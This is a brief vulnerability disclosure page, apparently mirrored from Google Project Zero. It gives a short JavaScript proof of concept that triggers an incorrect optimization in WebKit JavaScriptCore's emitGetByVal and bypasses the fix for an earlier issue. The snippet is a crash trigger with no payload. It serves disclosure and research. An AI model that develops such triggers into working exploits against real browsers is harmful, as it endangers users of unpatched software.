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WebKit JSC - 'BytecodeGenerator::emitGetByVal' Incorrect Optimization (2)
来源:Google Security Research 作者:Google 发布时间:2017-10-10  
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1319
 
The following PoC bypasses the fix for the  issue 1263 (https://bugs.chromium.org/p/project-zero/issues/detail?id=1263)
 
PoC:
-->
 
function f() {
    let o = {};
    for (let i in {xx: 0}) {
        for (i of [0]) {
 
        }
 
        print(o[i]);
    }
}
 
f();
 
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